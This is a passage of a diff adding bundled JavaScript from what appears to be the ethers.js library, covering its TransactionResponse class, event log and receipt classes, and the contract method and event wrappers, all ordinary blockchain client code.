**TransactionResponse** includes all properties about a transaction + * that was sent to the network, which may or may not be included in a + * block. + * + * The [[TransactionResponse-isMined]] can be used to check if the + * transaction has been mined as well as type guard that the otherwise + * possibly ``null`` properties are defined. + */ +class TransactionResponse { + /** + * The provider this is connected to, which will influence how its + * methods will resolve its async inspection methods. + */ + provider; + /** + * The block number of the block that this transaction was included in. + * + * This is ``null`` for pending transactions. + */ + blockNumber; + /** + * The blockHash of the block that this transaction was included in. + * + * This is ``null`` for pending transactions. + */ + blockHash; + /** + * The index within the block that this transaction resides at. + */ + index; + /** + * The transaction hash. + */ + hash; + /** + * The [[link-eip-2718]] transaction envelope type. This is + * ``0`` for legacy transactions types. + */ + type; + /** + * The receiver of this transaction. + * + * If ``null``, then the transaction is an initcode transaction. + * This means the result of executing the [[data]] will be deployed + * as a new contract on chain (assuming it does not revert) and the + * address may be computed using [[getCreateAddress]]. + */ + to; + /** + * The sender of this transaction. It is implicitly computed + * from the transaction pre-image hash (as the digest) and the + * [[signature]] using ecrecover. + */ + from; + /** + * The nonce, which is used to prevent replay attacks and offer + * a method to ensure transactions from a given sender are explicitly + * ordered. + * + * When sending a transaction, this must be equal to the number of + * transactions ever sent by [[from]]. + */ + nonce; + /** + * The maximum units of gas this transaction can consume. If execution + * exceeds this, the entries transaction is reverted and the sender + * is charged for the full amount, despite not state changes being made. + */ + gasLimit; + /** + * The gas price can have various values, depending on the network. + * + * In modern networks, for transactions that are included this is + * the //effective gas price// (the fee per gas that was actually + * charged), while for transactions that have not been included yet + * is the [[maxFeePerGas]]. + * + * For legacy transactions, or transactions on legacy networks, this + * is the fee that will be charged per unit of gas the transaction + * consumes. + */ + gasPrice; + /** + * The maximum priority fee (per unit of gas) to allow a + * validator to charge the sender. This is inclusive of the + * [[maxFeeFeePerGas]]. + */ + maxPriorityFeePerGas; + /** + * The maximum fee (per unit of gas) to allow this transaction + * to charge the sender. + */ + maxFeePerGas; + /** + * The [[link-eip-4844]] max fee per BLOb gas. + */ + maxFeePerBlobGas; + /** + * The data. + */ + data; + /** + * The value, in wei. Use [[formatEther]] to format this value + * as ether. + */ + value; + /** + * The chain ID. + */ + chainId; + /** + * The signature. + */ + signature; + /** + * The [[link-eip-2930]] access list for transaction types that + * support it, otherwise ``null``. + */ + accessList; + /** + * The [[link-eip-4844]] BLOb versioned hashes. + */ + blobVersionedHashes; + /** + * The [[link-eip-7702]] authorizations (if any). + */ + authorizationList; + #startBlock; + /** + * @_ignore: + */ + constructor(tx, provider) { + this.provider = provider; + this.blockNumber = (tx.blockNumber != null) ? tx.blockNumber : null; + this.blockHash = (tx.blockHash != null) ? tx.blockHash : null; + this.hash = tx.hash; + this.index = tx.index; + this.type = tx.type; + this.from = tx.from; + this.to = tx.to || null; + this.gasLimit = tx.gasLimit; + this.nonce = tx.nonce; + this.data = tx.data; + this.value = tx.value; + this.gasPrice = tx.gasPrice; + this.maxPriorityFeePerGas = (tx.maxPriorityFeePerGas != null) ? tx.maxPriorityFeePerGas : null; + this.maxFeePerGas = (tx.maxFeePerGas != null) ? tx.maxFeePerGas : null; + this.maxFeePerBlobGas = (tx.maxFeePerBlobGas != null) ? tx.maxFeePerBlobGas : null; + this.chainId = tx.chainId; + this.signature = tx.signature; + this.accessList = (tx.accessList != null) ? tx.accessList : null; + this.blobVersionedHashes = (tx.blobVersionedHashes != null) ? tx.blobVersionedHashes : null; + this.authorizationList = (tx.authorizationList != null) ? tx.authorizationList : null; + this.#startBlock = -1; + } + /** + * Returns a JSON-compatible representation of this transaction. + */ + toJSON() { + const { blockNumber, blockHash, index, hash, type, to, from, nonce, data, signature, accessList, blobVersionedHashes } = this; + return { + _type: "TransactionResponse", + accessList, blockNumber, blockHash, + blobVersionedHashes, + chainId: toJson(this.chainId), + data, from, + gasLimit: toJson(this.gasLimit), + gasPrice: toJson(this.gasPrice), + hash, + maxFeePerGas: toJson(this.maxFeePerGas), + maxPriorityFeePerGas: toJson(this.maxPriorityFeePerGas), + maxFeePerBlobGas: toJson(this.maxFeePerBlobGas), + nonce, signature, to, index, type, + value: toJson(this.value), + }; + } + /** + * Resolves to the Block that this transaction was included in. + * + * This will return null if the transaction has not been included yet. + */ + async getBlock() { + let blockNumber = this.blockNumber; + if (blockNumber == null) { + const tx = await this.getTransaction(); + if (tx) { + blockNumber = tx.blockNumber; + } + } + if (blockNumber == null) { + return null; + } + const block = this.provider.getBlock(blockNumber); + if (block == null) { + throw new Error("TODO"); + } + return block; + } + /** + * Resolves to this transaction being re-requested from the + * provider. This can be used if you have an unmined transaction + * and wish to get an up-to-date populated instance. + */ + async getTransaction() { + return this.provider.getTransaction(this.hash); + } + /** + * Resolve to the number of confirmations this transaction has. + */ + async confirmations() { + if (this.blockNumber == null) { + const { tx, blockNumber } = await resolveProperties({ + tx: this.getTransaction(), + blockNumber: this.provider.getBlockNumber() + }); + // Not mined yet... + if (tx == null || tx.blockNumber == null) { + return 0; + } + return blockNumber - tx.blockNumber + 1; + } + const blockNumber = await this.provider.getBlockNumber(); + return blockNumber - this.blockNumber + 1; + } + /** + * Resolves once this transaction has been mined and has + * %%confirms%% blocks including it (default: ``1``) with an + * optional %%timeout%%. + * + * This can resolve to ``null`` only if %%confirms%% is ``0`` + * and the transaction has not been mined, otherwise this will + * wait until enough confirmations have completed. + */ + async wait(_confirms, _timeout) { + const confirms = (_confirms == null) ? 1 : _confirms; + const timeout = (_timeout == null) ? 0 : _timeout; + let startBlock = this.#startBlock; + let nextScan = -1; + let stopScanning = (startBlock === -1) ? true : false; + const checkReplacement = async () => { + // Get the current transaction count for this sender + if (stopScanning) { + return null; + } + const { blockNumber, nonce } = await resolveProperties({ + blockNumber: this.provider.getBlockNumber(), + nonce: this.provider.getTransactionCount(this.from) + }); + // No transaction or our nonce has not been mined yet; but we + // can start scanning later when we do start + if (nonce < this.nonce) { + startBlock = blockNumber; + return; + } + // We were mined; no replacement + if (stopScanning) { + return null; + } + const mined = await this.getTransaction(); + if (mined && mined.blockNumber != null) { + return; + } + // We were replaced; start scanning for that transaction + // Starting to scan; look back a few extra blocks for safety + if (nextScan === -1) { + nextScan = startBlock - 3; + if (nextScan < this.#startBlock) { + nextScan = this.#startBlock; + } + } + while (nextScan <= blockNumber) { + // Get the next block to scan + if (stopScanning) { + return null; + } + const block = await this.provider.getBlock(nextScan, true); + // This should not happen; but we'll try again shortly + if (block == null) { + return; + } + // We were mined; no replacement + for (const hash of block) { + if (hash === this.hash) { + return; + } + } + // Search for the transaction that replaced us + for (let i = 0; i < block.length; i++) { + const tx = await block.getTransaction(i); + if (tx.from === this.from && tx.nonce === this.nonce) { + // Get the receipt + if (stopScanning) { + return null; + } + const receipt = await this.provider.getTransactionReceipt(tx.hash); + // This should not happen; but we'll try again shortly + if (receipt == null) { + return; + } + // We will retry this on the next block (this case could be optimized) + if ((blockNumber - receipt.blockNumber + 1) < confirms) { + return; + } + // The reason we were replaced + let reason = "replaced"; + if (tx.data === this.data && tx.to === this.to && tx.value === this.value) { + reason = "repriced"; + } + else if (tx.data === "0x" && tx.from === tx.to && tx.value === BN_0$2) { + reason = "cancelled"; + } + assert(false, "transaction was replaced", "TRANSACTION_REPLACED", { + cancelled: (reason === "replaced" || reason === "cancelled"), + reason, + replacement: tx.replaceableTransaction(startBlock), + hash: tx.hash, + receipt + }); + } + } + nextScan++; + } + return; + }; + const checkReceipt = (receipt) => { + if (receipt == null || receipt.status !== 0) { + return receipt; + } + assert(false, "transaction execution reverted", "CALL_EXCEPTION", { + action: "sendTransaction", + data: null, reason: null, invocation: null, revert: null, + transaction: { + to: receipt.to, + from: receipt.from, + data: "" // @TODO: in v7, split out sendTransaction properties + }, receipt + }); + }; + const receipt = await this.provider.getTransactionReceipt(this.hash); + if (confirms === 0) { + return checkReceipt(receipt); + } + if (receipt) { + if (confirms === 1 || (await receipt.confirmations()) >= confirms) { + return checkReceipt(receipt); + } + } + else { + // Check for a replacement; throws if a replacement was found + await checkReplacement(); + // Allow null only when the confirms is 0 + if (confirms === 0) { + return null; + } + } + const waiter = new Promise((resolve, reject) => { + // List of things to cancel when we have a result (one way or the other) + const cancellers = []; + const cancel = () => { cancellers.forEach((c) => c()); }; + // On cancel, stop scanning for replacements + cancellers.push(() => { stopScanning = true; }); + // Set up any timeout requested + if (timeout > 0) { + const timer = setTimeout(() => { + cancel(); + reject(makeError("wait for transaction timeout", "TIMEOUT")); + }, timeout); + cancellers.push(() => { clearTimeout(timer); }); + } + const txListener = async (receipt) => { + // Done; return it! + if ((await receipt.confirmations()) >= confirms) { + cancel(); + try { + resolve(checkReceipt(receipt)); + } + catch (error) { + reject(error); + } + } + }; + cancellers.push(() => { this.provider.off(this.hash, txListener); }); + this.provider.on(this.hash, txListener); + // We support replacement detection; start checking + if (startBlock >= 0) { + const replaceListener = async () => { + try { + // Check for a replacement; this throws only if one is found + await checkReplacement(); + } + catch (error) { + // We were replaced (with enough confirms); re-throw the error + if (isError(error, "TRANSACTION_REPLACED")) { + cancel(); + reject(error); + return; + } + } + // Rescheudle a check on the next block + if (!stopScanning) { + this.provider.once("block", replaceListener); + } + }; + cancellers.push(() => { this.provider.off("block", replaceListener); }); + this.provider.once("block", replaceListener); + } + }); + return await waiter; + } + /** + * Returns ``true`` if this transaction has been included. + * + * This is effective only as of the time the TransactionResponse + * was instantiated. To get up-to-date information, use + * [[getTransaction]]. + * + * This provides a Type Guard that this transaction will have + * non-null property values for properties that are null for + * unmined transactions. + */ + isMined() { + return (this.blockHash != null); + } + /** + * Returns true if the transaction is a legacy (i.e. ``type == 0``) + * transaction. + * + * This provides a Type Guard that this transaction will have + * the ``null``-ness for hardfork-specific properties set correctly. + */ + isLegacy() { + return (this.type === 0); + } + /** + * Returns true if the transaction is a Berlin (i.e. ``type == 1``) + * transaction. See [[link-eip-2070]]. + * + * This provides a Type Guard that this transaction will have + * the ``null``-ness for hardfork-specific properties set correctly. + */ + isBerlin() { + return (this.type === 1); + } + /** + * Returns true if the transaction is a London (i.e. ``type == 2``) + * transaction. See [[link-eip-1559]]. + * + * This provides a Type Guard that this transaction will have + * the ``null``-ness for hardfork-specific properties set correctly. + */ + isLondon() { + return (this.type === 2); + } + /** + * Returns true if hte transaction is a Cancun (i.e. ``type == 3``) + * transaction. See [[link-eip-4844]]. + */ + isCancun() { + return (this.type === 3); + } + /** + * Returns a filter which can be used to listen for orphan events + * that evict this transaction. + */ + removedEvent() { + assert(this.isMined(), "unmined transaction canot be orphaned", "UNSUPPORTED_OPERATION", { operation: "removeEvent()" }); + return createRemovedTransactionFilter(this); + } + /** + * Returns a filter which can be used to listen for orphan events + * that re-order this event against %%other%%. + */ + reorderedEvent(other) { + assert(this.isMined(), "unmined transaction canot be orphaned", "UNSUPPORTED_OPERATION", { operation: "removeEvent()" }); + assert(!other || other.isMined(), "unmined 'other' transaction canot be orphaned", "UNSUPPORTED_OPERATION", { operation: "removeEvent()" }); + return createReorderedTransactionFilter(this, other); + } + /** + * Returns a new TransactionResponse instance which has the ability to + * detect (and throw an error) if the transaction is replaced, which + * will begin scanning at %%startBlock%%. + * + * This should generally not be used by developers and is intended + * primarily for internal use. Setting an incorrect %%startBlock%% can + * have devastating performance consequences if used incorrectly. + */ + replaceableTransaction(startBlock) { + assertArgument(Number.isInteger(startBlock) && startBlock >= 0, "invalid startBlock", "startBlock", startBlock); + const tx = new TransactionResponse(this, this.provider); + tx.#startBlock = startBlock; + return tx; + } +} +function createOrphanedBlockFilter(block) { + return { orphan: "drop-block", hash: block.hash, number: block.number }; +} +function createReorderedTransactionFilter(tx, other) { + return { orphan: "reorder-transaction", tx, other }; +} +function createRemovedTransactionFilter(tx) { + return { orphan: "drop-transaction", tx }; +} +function createRemovedLogFilter(log) { + return { orphan: "drop-log", log: { + transactionHash: log.transactionHash, + blockHash: log.blockHash, + blockNumber: log.blockNumber, + address: log.address, + data: log.data, + topics: Object.freeze(log.topics.slice()), + index: log.index + } }; +} + +// import from provider.ts instead of index.ts to prevent circular dep +// from EtherscanProvider +/** + * An **EventLog** contains additional properties parsed from the [[Log]]. + */ +class EventLog extends Log { + /** + * The Contract Interface. + */ + interface; + /** + * The matching event. + */ + fragment; + /** + * The parsed arguments passed to the event by ``emit``. + */ + args; + /** + * @_ignore: + */ + constructor(log, iface, fragment) { + super(log, log.provider); + const args = iface.decodeEventLog(fragment, log.data, log.topics); + defineProperties(this, { args, fragment, interface: iface }); + } + /** + * The name of the event. + */ + get eventName() { return this.fragment.name; } + /** + * The signature of the event. + */ + get eventSignature() { return this.fragment.format(); } +} +/** + * An **EventLog** contains additional properties parsed from the [[Log]]. + */ +class UndecodedEventLog extends Log { + /** + * The error encounted when trying to decode the log. + */ + error; + /** + * @_ignore: + */ + constructor(log, error) { + super(log, log.provider); + defineProperties(this, { error }); + } +} +/** + * A **ContractTransactionReceipt** includes the parsed logs from a + * [[TransactionReceipt]]. + */ +class ContractTransactionReceipt extends TransactionReceipt { + #iface; + /** + * @_ignore: + */ + constructor(iface, provider, tx) { + super(tx, provider); + this.#iface = iface; + } + /** + * The parsed logs for any [[Log]] which has a matching event in the + * Contract ABI. + */ + get logs() { + return super.logs.map((log) => { + const fragment = log.topics.length ? this.#iface.getEvent(log.topics[0]) : null; + if (fragment) { + try { + return new EventLog(log, this.#iface, fragment); + } + catch (error) { + return new UndecodedEventLog(log, error); + } + } + return log; + }); + } +} +/** + * A **ContractTransactionResponse** will return a + * [[ContractTransactionReceipt]] when waited on. + */ +class ContractTransactionResponse extends TransactionResponse { + #iface; + /** + * @_ignore: + */ + constructor(iface, provider, tx) { + super(tx, provider); + this.#iface = iface; + } + /** + * Resolves once this transaction has been mined and has + * %%confirms%% blocks including it (default: ``1``) with an + * optional %%timeout%%. + * + * This can resolve to ``null`` only if %%confirms%% is ``0`` + * and the transaction has not been mined, otherwise this will + * wait until enough confirmations have completed. + */ + async wait(confirms, timeout) { + const receipt = await super.wait(confirms, timeout); + if (receipt == null) { + return null; + } + return new ContractTransactionReceipt(this.#iface, this.provider, receipt); + } +} +/** + * A **ContractUnknownEventPayload** is included as the last parameter to + * Contract Events when the event does not match any events in the ABI. + */ +class ContractUnknownEventPayload extends EventPayload { + /** + * The log with no matching events. + */ + log; + /** + * @_event: + */ + constructor(contract, listener, filter, log) { + super(contract, listener, filter); + defineProperties(this, { log }); + } + /** + * Resolves to the block the event occured in. + */ + async getBlock() { + return await this.log.getBlock(); + } + /** + * Resolves to the transaction the event occured in. + */ + async getTransaction() { + return await this.log.getTransaction(); + } + /** + * Resolves to the transaction receipt the event occured in. + */ + async getTransactionReceipt() { + return await this.log.getTransactionReceipt(); + } +} +/** + * A **ContractEventPayload** is included as the last parameter to + * Contract Events when the event is known. + */ +class ContractEventPayload extends ContractUnknownEventPayload { + /** + * @_ignore: + */ + constructor(contract, listener, filter, fragment, _log) { + super(contract, listener, filter, new EventLog(_log, contract.interface, fragment)); + const args = contract.interface.decodeEventLog(fragment, this.log.data, this.log.topics); + defineProperties(this, { args, fragment }); + } + /** + * The event name. + */ + get eventName() { + return this.fragment.name; + } + /** + * The event signature. + */ + get eventSignature() { + return this.fragment.format(); + } +} + +const BN_0$1 = BigInt(0); +function canCall(value) { + return (value && typeof (value.call) === "function"); +} +function canEstimate(value) { + return (value && typeof (value.estimateGas) === "function"); +} +function canResolve(value) { + return (value && typeof (value.resolveName) === "function"); +} +function canSend(value) { + return (value && typeof (value.sendTransaction) === "function"); +} +function getResolver(value) { + if (value != null) { + if (canResolve(value)) { + return value; + } + if (value.provider) { + return value.provider; + } + } + return undefined; +} +class PreparedTopicFilter { + #filter; + fragment; + constructor(contract, fragment, args) { + defineProperties(this, { fragment }); + if (fragment.inputs.length < args.length) { + throw new Error("too many arguments"); + } + // Recursively descend into args and resolve any addresses + const runner = getRunner(contract.runner, "resolveName"); + const resolver = canResolve(runner) ? runner : null; + this.#filter = (async function () { + const resolvedArgs = await Promise.all(fragment.inputs.map((param, index) => { + const arg = args[index]; + if (arg == null) { + return null; + } + return param.walkAsync(args[index], (type, value) => { + if (type === "address") { + if (Array.isArray(value)) { + return Promise.all(value.map((v) => resolveAddress(v, resolver))); + } + return resolveAddress(value, resolver); + } + return value; + }); + })); + return contract.interface.encodeFilterTopics(fragment, resolvedArgs); + })(); + } + getTopicFilter() { + return this.#filter; + } +} +// A = Arguments passed in as a tuple +// R = The result type of the call (i.e. if only one return type, +// the qualified type, otherwise Result) +// D = The type the default call will return (i.e. R for view/pure, +// TransactionResponse otherwise) +//export interface ContractMethod = Array, R = any, D extends R | ContractTransactionResponse = ContractTransactionResponse> { +function getRunner(value, feature) { + if (value == null) { + return null; + } + if (typeof (value[feature]) === "function") { + return value; + } + if (value.provider && typeof (value.provider[feature]) === "function") { + return value.provider; + } + return null; +} +function getProvider(value) { + if (value == null) { + return null; + } + return value.provider || null; +} +/** + * @_ignore: + */ +async function copyOverrides(arg, allowed) { + // Make sure the overrides passed in are a valid overrides object + const _overrides = Typed.dereference(arg, "overrides"); + assertArgument(typeof (_overrides) === "object", "invalid overrides parameter", "overrides", arg); + // Create a shallow copy (we'll deep-ify anything needed during normalizing) + const overrides = copyRequest(_overrides); + assertArgument(overrides.to == null || (allowed || []).indexOf("to") >= 0, "cannot override to", "overrides.to", overrides.to); + assertArgument(overrides.data == null || (allowed || []).indexOf("data") >= 0, "cannot override data", "overrides.data", overrides.data); + // Resolve any from + if (overrides.from) { + overrides.from = overrides.from; + } + return overrides; +} +/** + * @_ignore: + */ +async function resolveArgs(_runner, inputs, args) { + // Recursively descend into args and resolve any addresses + const runner = getRunner(_runner, "resolveName"); + const resolver = canResolve(runner) ? runner : null; + return await Promise.all(inputs.map((param, index) => { + return param.walkAsync(args[index], (type, value) => { + value = Typed.dereference(value, type); + if (type === "address") { + return resolveAddress(value, resolver); + } + return value; + }); + })); +} +function buildWrappedFallback(contract) { + const populateTransaction = async function (overrides) { + // If an overrides was passed in, copy it and normalize the values + const tx = (await copyOverrides(overrides, ["data"])); + tx.to = await contract.getAddress(); + if (tx.from) { + tx.from = await resolveAddress(tx.from, getResolver(contract.runner)); + } + const iface = contract.interface; + const noValue = (getBigInt((tx.value || BN_0$1), "overrides.value") === BN_0$1); + const noData = ((tx.data || "0x") === "0x"); + if (iface.fallback && !iface.fallback.payable && iface.receive && !noData && !noValue) { + assertArgument(false, "cannot send data to receive or send value to non-payable fallback", "overrides", overrides); + } + assertArgument(iface.fallback || noData, "cannot send data to receive-only contract", "overrides.data", tx.data); + // Only allow payable contracts to set non-zero value + const payable = iface.receive || (iface.fallback && iface.fallback.payable); + assertArgument(payable || noValue, "cannot send value to non-payable fallback", "overrides.value", tx.value); + // Only allow fallback contracts to set non-empty data + assertArgument(iface.fallback || noData, "cannot send data to receive-only contract", "overrides.data", tx.data); + return tx; + }; + const staticCall = async function (overrides) { + const runner = getRunner(contract.runner, "call"); + assert(canCall(runner), "contract runner does not support calling", "UNSUPPORTED_OPERATION", { operation: "call" }); + const tx = await populateTransaction(overrides); + try { + return await runner.call(tx); + } + catch (error) { + if (isCallException(error) && error.data) { + throw contract.interface.makeError(error.data, tx); + } + throw error; + } + }; + const send = async function (overrides) { + const runner = contract.runner; + assert(canSend(runner), "contract runner does not support sending transactions", "UNSUPPORTED_OPERATION", { operation: "sendTransaction" }); + const tx = await runner.sendTransaction(await populateTransaction(overrides)); + const provider = getProvider(contract.runner); + // @TODO: the provider can be null; make a custom dummy provider that will throw a + // meaningful error + return new ContractTransactionResponse(contract.interface, provider, tx); + }; + const estimateGas = async function (overrides) { + const runner = getRunner(contract.runner, "estimateGas"); + assert(canEstimate(runner), "contract runner does not support gas estimation", "UNSUPPORTED_OPERATION", { operation: "estimateGas" }); + return await runner.estimateGas(await populateTransaction(overrides)); + }; + const method = async (overrides) => { + return await send(overrides); + }; + defineProperties(method, { + _contract: contract, + estimateGas, + populateTransaction, + send, staticCall + }); + return method; +} +function buildWrappedMethod(contract, key) { + const getFragment = function (...args) { + const fragment = contract.interface.getFunction(key, args); + assert(fragment, "no matching fragment", "UNSUPPORTED_OPERATION", { + operation: "fragment", + info: { key, args } + }); + return fragment; + }; + const populateTransaction = async function (...args) { + const fragment = getFragment(...args); + // If an overrides was passed in, copy it and normalize the values + let overrides = {}; + if (fragment.inputs.length + 1 === args.length) { + overrides = await copyOverrides(args.pop()); + if (overrides.from) { + overrides.from = await resolveAddress(overrides.from, getResolver(contract.runner)); + } + } + if (fragment.inputs.length !== args.length) { + throw new Error("internal error: fragment inputs doesn't match arguments; should not happen"); + } + const resolvedArgs = await resolveArgs(contract.runner, fragment.inputs, args); + return Object.assign({}, overrides, await resolveProperties({ + to: contract.getAddress(), + data: contract.interface.encodeFunctionData(fragment, resolvedArgs) + })); + }; + const staticCall = async function (...args) { + const result = await staticCallResult(...args); + if (result.length === 1) { + return result[0]; + } + return result; + }; + const send = async function (...args) { + const runner = contract.runner; + assert(canSend(runner), "contract runner does not support sending transactions", "UNSUPPORTED_OPERATION", { operation: "sendTransaction" }); + const tx = await runner.sendTransaction(await populateTransaction(...args)); + const provider = getProvider(contract.runner); + // @TODO: the provider can be null; make a custom dummy provider that will throw a + // meaningful error + return new ContractTransactionResponse(contract.interface, provider, tx); + }; + const estimateGas = async function (...args) { + const runner = getRunner(contract.runner, "estimateGas"); + assert(canEstimate(runner), "contract runner does not support gas estimation", "UNSUPPORTED_OPERATION", { operation: "estimateGas" }); + return await runner.estimateGas(await populateTransaction(...args)); + }; + const staticCallResult = async function (...args) { + const runner = getRunner(contract.runner, "call"); + assert(canCall(runner), "contract runner does not support calling", "UNSUPPORTED_OPERATION", { operation: "call" }); + const tx = await populateTransaction(...args); + let result = "0x"; + try { + result = await runner.call(tx); + } + catch (error) { + if (isCallException(error) && error.data) { + throw contract.interface.makeError(error.data, tx); + } + throw error; + } + const fragment = getFragment(...args); + return contract.interface.decodeFunctionResult(fragment, result); + }; + const method = async (...args) => { + const fragment = getFragment(...args); + if (fragment.constant) { + return await staticCall(...args); + } + return await send(...args); + }; + defineProperties(method, { + name: contract.interface.getFunctionName(key), + _contract: contract, _key: key, + getFragment, + estimateGas, + populateTransaction, + send, staticCall, staticCallResult, + }); + // Only works on non-ambiguous keys (refined fragment is always non-ambiguous) + Object.defineProperty(method, "fragment", { + configurable: false, + enumerable: true, + get: () => { + const fragment = contract.interface.getFunction(key); + assert(fragment, "no matching fragment", "UNSUPPORTED_OPERATION", { + operation: "fragment", + info: { key } + }); + return fragment; + } + }); + return method; +} +function buildWrappedEvent(contract, key) { + const getFragment = function (...args) { + const fragment = contract.interface.getEvent(key, args); + assert(fragment, "no matching fragment", "UNSUPPORTED_OPERATION", { + operation: "fragment", + info: { key, args } + }); + return fragment; + }; + const method = function (...args) { + return new PreparedTopicFilter(contract, getFragment(...args), args); + }; + defineProperties(method, { + name: contract.interface.getEventName(key), + _contract: contract, _key: key, + getFragment + }); + // Only works on non-ambiguous keys (refined fragment is always non-ambiguous) + Object.defineProperty(method, "fragment", { + configurable: false, + enumerable: true, + get: () => { + const fragment = contract.interface.getEvent(key); + assert(fragment, "no matching fragment", "UNSUPPORTED_OPERATION", { + operation: "fragment", + info: { key } + }); + return fragment; + } + }); + return method; +} +// The combination of TypeScrype, Private Fields and Proxies makes +// the world go boom; so we hide variables with some trickery keeping +// a symbol attached to each BaseContract which its sub-class (even +// via a Proxy) can reach and use to look up its internal values. +const internal = Symbol.for("_ethersInternal_contract"); +const internalValues = new WeakMap(); +function setInternal(contract, values) { + internalValues.set(contract[internal], values); +} +function getInternal(contract) { + return internalValues.get(contract[internal]); +} +function isDeferred(value) { + return (value && typeof (value) === "object" && ("getTopicFilter" in value) && + (typeof (value.getTopicFilter) === "function") && value.fragment); +} +async function getSubInfo(contract, event) { + let topics; + let fragment = null; + // Convert named events to topicHash and get the fragment for + // events which need deconstructing. + if (Array.isArray(event)) { + const topicHashify = function (name) { + if (isHexString(name, 32)) { + return name; + } + const fragment = contract.interface.getEvent(name); + assertArgument(fragment, "unknown fragment", "name", name); + return fragment.topicHash; + }; + // Array of Topics and Names; e.g. `[ "0x1234...89ab", "Transfer(address)" ]` + topics = event.map((e) => { + if (e == null) { + return null; + } + if (Array.isArray(e)) { + return e.map(topicHashify); + } + return topicHashify(e); + }); + } + else if (event === "*") { + topics = [null]; + } + else if (typeof (event) === "string") { + if (isHexString(event, 32)) { + // Topic Hash + topics = [event]; + } + else { + // Name or Signature; e.g. `"Transfer", `"Transfer(address)"` + fragment = contract.interface.getEvent(event); + assertArgument(fragment, "unknown fragment", "event", event); + topics = [fragment.topicHash]; + } + } + else if (isDeferred(event)) { + // Deferred Topic Filter; e.g. `contract.filter.Transfer(from)` + topics = await event.getTopicFilter(); + } + else if ("fragment" in event) { + // ContractEvent; e.g. `contract.filter.Transfer` + fragment = event.fragment; + topics = [fragment.topicHash]; + } + else { + assertArgument(false, "unknown event name", "event", event); + } + // Normalize topics and sort TopicSets + topics = topics.map((t) => { + if (t == null) { + return null; + } + if (Array.isArray(t)) { + const items = Array.from(new Set(t.map((t) => t.toLowerCase())).values()); + if (items.length === 1) { + return items[0]; + } + items.sort(); + return items; + } + return t.toLowerCase(); + }); + const tag = topics.map((t) => { + if (t == null) { + return "null"; + } + if (Array.isArray(t)) { + return t.join("|"); + } + return t; + }).join("&"); + return { fragment, tag, topics }; +} +async function hasSub(contract, event) { + const { subs } = getInternal(contract); + return subs.get((await getSubInfo(contract, event)).tag) || null; +} +async function getSub(contract, operation, event) { + // Make sure our runner can actually subscribe to events + const provider = getProvider(contract.runner); + assert(provider, "contract runner does not support subscribing", "UNSUPPORTED_OPERATION", { operation }); + const { fragment, tag, topics } = await getSubInfo(contract, event); + const { addr, subs } = getInternal(contract); + let sub = subs.get(tag); + if (!sub) { + const address = (addr ? addr : contract); + const filter = { address, topics }; + const listener = (log) => { + let foundFragment = fragment; + if (foundFragment == null) { + try { + foundFragment = contract.interface.getEvent(log.topics[0]); + } + catch (error) { } + } + // If fragment is null, we do not deconstruct the args to emit + if (foundFragment) { + const _foundFragment = foundFragment; + const args = fragment ? contract.interface.decodeEventLog(fragment, log.data, log.topics) : []; + emit(contract, event, args, (listener) => { + return new ContractEventPayload(contract, listener, event, _foundFragment, log); + }); + } + else { + emit(contract, event, [], (listener) => { + return new ContractUnknownEventPayload(contract, listener, event, log); + }); + } + }; + let starting = []; + const start = () => { + if (starting.length) { + return; + } + starting.push(provider.on(filter, listener)); + }; + const stop = async () => { + if (starting.length == 0) { + return; + } + let started = starting; + starting = []; + await Promise.all(started); + provider.off(filter, listener); + }; + sub = { tag, listeners: [], start, stop }; + subs.set(tag, sub); + } + return sub; +} +// We use this to ensure one emit resolves before firing the next to +// ensure correct ordering (note this cannot throw and just adds the +// notice to the event queu using setTimeout). +let lastEmit = Promise.resolve(); +async function _emit(contract, event, args, payloadFunc) { + await lastEmit; + const sub = await hasSub(contract, event); + if (!sub) { + return false; + } + const count = sub.listeners.length; + sub.listeners = sub.listeners.filter(({ listener, once }) => { + const passArgs = Array.from(args); + if (payloadFunc) { + passArgs.push(payloadFunc(once ? null : listener)); + } + try { + listener.call(contract, ...passArgs); + } + catch (error) { } + return !once; + }); + if (sub.listeners.length === 0) { + sub.stop(); + getInternal(contract).subs.delete(sub.tag); + } + return (count > 0); +} +async function emit(contract, event, args, payloadFunc) { + try { + await lastEmit; + } + catch (error) { } + const resultPromise = _emit(contract, event, args, payloadFunc); + lastEmit = resultPromise; + return await resultPromise; +} +const passProperties = ["then"]; +class BaseContract { + /** + * The target to connect to. + * + * This can be an address, ENS name or any [[Addressable]], such as + * another contract. To get the resovled address, use the ``getAddress`` + * method. + */ + target; + /** + * The contract Interface. + */ + interface; + /** + * The connected runner. This is generally a [[Provider]] or a + * [[Signer]], which dictates what operations are supported. + * + * For example, a **Contract** connected to a [[Provider]] may + * only execute read-only operations. + */ + runner; + /** + * All the Events available on this contract. + */ + filters; + /** + * @_ignore: + */ + [internal]; + /** + * The fallback or receive function if any. + */ + fallback; + /** + * Creates a new contract connected to %%target%% with the %%abi%% and + * optionally connected to a %%runner%% to perform operations on behalf + * of. + */ + constructor(target, abi, runner, _deployTx) { + assertArgument(typeof (target) === "string" || isAddressable(target), "invalid value for Contract target", "target", target); + if (runner == null) { + runner = null; + } + const iface = Interface.from(abi); + defineProperties(this, { target, runner, interface: iface }); + Object.defineProperty(this, internal, { value: {} }); + let addrPromise; + let addr = null; + let deployTx = null; + if (_deployTx) { + const provider = getProvider(runner); + // @TODO: the provider can be null; make a custom dummy provider that will throw a + // meaningful error + deployTx = new ContractTransactionResponse(this.interface, provider, _deployTx); + } + let subs = new Map(); + // Resolve the target as the address + if (typeof (target) === "string") { + if (isHexString(target)) { + addr = target; + addrPromise = Promise.resolve(target); + } + else { + const resolver = getRunner(runner, "resolveName"); + if (!canResolve(resolver)) { + throw makeError("contract runner does not support name resolution", "UNSUPPORTED_OPERATION", { + operation: "resolveName" + }); + } + addrPromise = resolver.resolveName(target).then((addr) => { + if (addr == null) { + throw makeError("an ENS name used for a contract target must be correctly configured", "UNCONFIGURED_NAME", { + value: target + }); + } + getInternal(this).addr = addr; + return addr; + }); + } + } + else { + addrPromise = target.getAddress().then((addr) => { + if (addr == null) { + throw new Error("TODO"); + } + getInternal(this).addr = addr; + return addr; + }); + } + // Set our private values + setInternal(this, { addrPromise, addr, deployTx, subs }); + // Add the event filters + const filters = new Proxy({}, { + get: (target, prop, receiver) => { + // Pass important checks (like `then` for Promise) through + if (typeof (prop) === "symbol" || passProperties.indexOf(prop) >= 0) { + return Reflect.get(target, prop, receiver); + } + try { + return this.getEvent(prop); + } + catch (error) { + if (!isError(error, "INVALID_ARGUMENT") || error.argument !== "key") { + throw error; + } + } + return undefined; 